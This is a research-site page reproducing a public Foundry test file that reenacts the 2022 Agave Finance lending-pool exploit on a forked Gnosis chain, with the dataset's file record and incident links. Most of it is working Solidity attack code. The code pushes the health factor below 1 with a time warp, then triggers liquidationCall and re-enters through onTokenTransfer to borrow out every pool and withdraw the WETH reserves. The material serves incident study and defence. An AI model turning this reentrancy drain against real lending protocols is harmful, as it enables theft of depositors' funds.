Public reproduction file
src/test/2022-03/Agave_exp.sol
Public reproduction file for dataset entry Agave Finance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "./../basetest.sol";5import "./../interface.sol";7interface IGnosisBridgedAsset is IERC20 {8 function mint(address, uint256) external returns (bool);9}11// @KeyInfo - Total Lost : ~1.5M US$12// Attacker : https://gnosisscan.io/address/0x0a16a85be44627c10cee75db06b169c7bc76de2c13// Attack Contract : https://gnosisscan.io/address/0xF98169301B06e906AF7f9b719204AA10D1F160d614// Vulnerable Contract : https://gnosisscan.io/address/0x207E9def17B4bd1045F5Af2C651c081F9FDb0842 (Agave lending pool v1)15// Attack Tx : https://gnosisscan.io/tx/0xa262141abcf7c127b88b4042aee8bf601f4f3372c9471dbd75cb54e76524f18e17// @Info18// Vulnerable Contract Code : https://github.com/Agave-DAO/protocol-v2/commit/31922797ba110ddb3e908936b940b40221b7e190#diff-d237d9f48e3d6657a5f94c89b903c5003cba6f9a286e26eff509cb44a3f4ee8f20// @Analysis21// Post-mortem :https://medium.com/agavefinance/agave-exploit-reentrancy-in-liquidation-call-51ae407bc5622// Twitter Guy : https://twitter.com/Mudit__Gupta/status/150378363387782758624/*25Detailed explanation of the agave exploit attack flow:271. Prepare Phase:28 - Initial Condition: Ensure that the health factor is slightly above 1.29 - Transition: Advance time by one hour after the initial prepare.30 - Objective: Reduce the health factor to less than 1 in the next block.31 - Purpose: This step is essential for the liquidation call to work, as it requires a health factor below 1.332. Flashloan and Deposit Phase:34 - Action: Execute a flashloan and deposit tokens.35 - Exploited Assets: In this exploit, withdraw and borrow all funds from WETH and maximize borrowing from all available pools.373. Exploit Completion:38 - Result: Successful execution drains funds from the lending pool.40Note: These concise steps outline the specific actions taken in each phase of the agave exploit, providing a clear understanding of the attack flow.41*/43contract AgaveExploit is BaseTestWithBalanceLog {44 //Prepare numbers45 uint256 linkLendNum1 = 1.0000000000000002 ether;46 uint256 wethlendnum2 = 1;47 uint256 linkDebt3 = 0.7 ether;48 uint256 wethDebt4 = 1;49 uint256 linkWithdraw5 = 0.06666666666 ether;51 uint256 callCount = 0;52 uint256 wethLiqBeforeHack = 0;54 //Asset addrs55 address aweth = 0xb5A165d9177555418796638447396377Edf4C18a;56 address gno = 0x9C58BAcC331c9aa871AFD802DB6379a98e80CEdb;57 address weth = 0x6A023CCd1ff6F2045C3309768eAd9E68F978f6e1;58 address link = 0xE2e73A1c69ecF83F464EFCE6A5be353a37cA09b2;59 address wbtc = 0x8e5bBbb09Ed1ebdE8674Cda39A0c169401db4252;60 address usdc = 0xDDAfbb505ad214D7b80b1f830fcCc89B60fb7A83;61 address wxdai = 0xe91D153E0b41518A2Ce8Dd3D7944Fa863463a97d;63 // Array of assets with weth at the end (uses fundingTokens from BaseTestWithBalanceLog)65 address provider = 0xA91B9095eFa6C0568467562032202108e49c9Ef8;66 //Address that can mint tokens on gnosis bridge67 address tokenOwner = 0xf6A78083ca3e2a662D6dd1703c939c8aCE2e268d;69 //Asset interfaces70 IGnosisBridgedAsset WETH = IGnosisBridgedAsset(weth);71 IGnosisBridgedAsset LINK = IGnosisBridgedAsset(link);73 // Contract / exchange interfaces74 ILendingPool lendingPool;76 uint256 ethFlashloanAmt = 2728.934387414251504146 ether + 1;78 modifier boostLTVHack() {79 lendingPool.deposit(weth, WETH.balanceOf(address(this)) - 1, address(this), 0);80 _;81 //We borrow directly here cause of some edge case the _borrow fails for weth82 lendingPool.borrow(weth, wethLiqBeforeHack, 2, 0, address(this));83 }85 function _getTokenBal(86 address asset87 ) internal view returns (uint256) {88 return IERC20(asset).balanceOf(address(this));89 }91 function setUp() public {92 vm.createSelectFork("gnosis", 21_120_283); //fork gnosis at block number 2112031993 lendingPool = ILendingPool(ILendingPoolAddressesProvider(provider).getLendingPool());94 wethLiqBeforeHack = _getAvailableLiquidity(weth);96 multiAssetLog = true;97 fundingTokens = new address[](7);98 fundingTokens[0] = usdc;99 fundingTokens[1] = gno;100 fundingTokens[2] = link;101 fundingTokens[3] = wbtc;102 fundingTokens[4] = wxdai;103 fundingTokens[5] = weth;104 fundingTokens[6] = aweth;106 //Lets just mint weth to this contract for initial debt107 vm.startPrank(tokenOwner);109 //Mint initial weth funding110 WETH.mint(address(this), ethFlashloanAmt);111 // Mint LINK funding112 LINK.mint(address(this), linkLendNum1);114 vm.stopPrank();116 //Approve funds117 LINK.approve(address(lendingPool), type(uint256).max);118 WETH.approve(address(lendingPool), type(uint256).max);119 }121 function _getAvailableLiquidity(122 address asset123 ) internal view returns (uint256 reserveTokenbal) {124 DataTypesAave.ReserveData memory data = lendingPool.getReserveData(asset);125 reserveTokenbal = IERC20(asset).balanceOf(address(data.aTokenAddress));126 }128 function _getHealthFactor() internal view returns (uint256) {129 (,,,,, uint256 healthFactor) = lendingPool.getUserAccountData(address(this));130 return healthFactor;131 }133 function _initHF() internal {134 //follow the flow of this TX https://gnosisscan.io/tx/0x45b2d71f5bbb17fa67341fdf30468f1de032db71760be0cf4df9bac316cda7cc136 uint256 balance = LINK.balanceOf(address(this));137 require(balance > 0, "no link");139 //Deposit weth to aave v2 fork140 lendingPool.deposit(link, linkLendNum1, address(this), 0);141 lendingPool.deposit(weth, wethlendnum2, address(this), 0);143 //Enable asset as collateral145 lendingPool.setUserUseReserveAsCollateral(link, true);146 lendingPool.setUserUseReserveAsCollateral(weth, true);148 //Borrow initial setup prepare debts149 lendingPool.borrow(link, linkDebt3, 2, 0, address(this));150 lendingPool.borrow(weth, wethDebt4, 2, 0, address(this));152 //Withdraw as per tx153 lendingPool.withdraw(link, linkWithdraw5, address(this));154 }156 function testExploit() public balanceLog {157 //Call prepare and get it setup158 _initHF();159 _flashWETH();160 }162 function _flashWETH() internal {163 uniswapV2Call(address(this), ethFlashloanAmt, 0, abi.encode(msg.sender));164 }166 function uniswapV2Call(address _sender, uint256 _amount0, uint256 _amount1, bytes memory _data) public {167 //We simulate a flashloan from uniswap for initial eth funding168 _attackLogic(_amount0, _amount1, _data);169 }171 function _attackLogic(uint256 _amount0, uint256 _amount1, bytes memory _data) internal {172 //This will fast forward block number and timestamp to cause hf to be lower due to interest on loan pushing hf below one173 vm.warp(block.timestamp + 1 hours);174 vm.roll(block.number + 1);175 //This will start the reentrancy with ontokentransfer call on .burn of the atoken176 lendingPool.liquidationCall(weth, weth, address(this), 2, false);177 //This will withdraw the funds from weth lending pool178 lendingPool.withdraw(weth, _getTokenBal(aweth), address(this));179 //For test case we just send it to address(1) to reduce the flashloan debt amount from us to get final assets180 WETH.transfer(address(1), ((ethFlashloanAmt * 1000) / 997) + 1);181 }183 function _borrow(184 address asset185 ) internal {186 uint256 reserveTokenbal = _getAvailableLiquidity(asset);187 uint256 BorrowAmount = reserveTokenbal > 2 ? reserveTokenbal - 1 : 0;188 if (BorrowAmount > 0) lendingPool.borrow(asset, BorrowAmount, 2, 0, address(this));189 }191 //NOTE: boostLTVHack deposits weth from flashloan to increase health and borrows wethliqbeforehack at the end192 function borrowTokens() internal boostLTVHack {193 // Borrow all assets except weth (which is at index 5)194 for (uint i = 0; i < 5; i++) {195 _borrow(fundingTokens[i]);196 }197 }199 function onTokenTransfer(address _from, uint256 _value, bytes memory _data) external {200 if (_from == aweth && _value == 1) {201 callCount++;202 if (callCount == 2) {203 borrowTokens();204 }205 }206 }207}Analysis
Dataset entry
Public Foundry test for “Agave Finance” (2022-03-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
13 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-03/Auctus_exp.solSame month in the dataset · 62 lines
- src/test/2022-03/Bacon_exp.solSame month in the dataset · 52 lines
- src/test/2022-03/CompoundTusd_exp.solSame month in the dataset · 23 lines
- src/test/2022-03/Fantasm_exp.solSame month in the dataset · 30 lines
- src/test/2022-03/HundredFinance_exp.solSame month in the dataset · 142 lines
- src/test/2022-03/LiFi_exp.solSame month in the dataset · 412 lines
- src/test/2022-03/OneRing_exp.solSame month in the dataset · 31 lines
- src/test/2022-03/Paraluni_exp.solSame month in the dataset · 89 lines
- src/test/2022-03/RedactedCartel_exp.solSame month in the dataset · 76 lines
- src/test/2022-03/Revest_exp.solSame month in the dataset · 67 lines
- src/test/2022-03/Ronin_exp.solSame month in the dataset · 52 lines
- src/test/2022-03/TreasureDAO_exp.solSame month in the dataset · 30 lines
- src/test/2022-03/Umbrella_exp.solSame month in the dataset · 46 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x0a16a85be44627c10cee75db06b169c7bc76de2c
- Attack Contract
0xf98169301b06e906af7f9b719204aa10d1f160d6
- Vulnerable Contract
0x207e9def17b4bd1045f5af2c651c081f9fdb0842
- Attack Tx
0xa262141abcf7c127b88b4042aee8bf601f4f3372c9471dbd75cb54e76524f18e
File record
- Name
- Agave Finance
- Path
- src/test/2022-03/Agave_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 8bedbea08dc8edb0a9a0173828cfe0053f976698
- Language
- Solidity
- Size
- 208 lines
- Date
- 2022-03-15
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-03/Agave_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8bedbea08dc8edb0a9a0173828cfe0053f976698, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.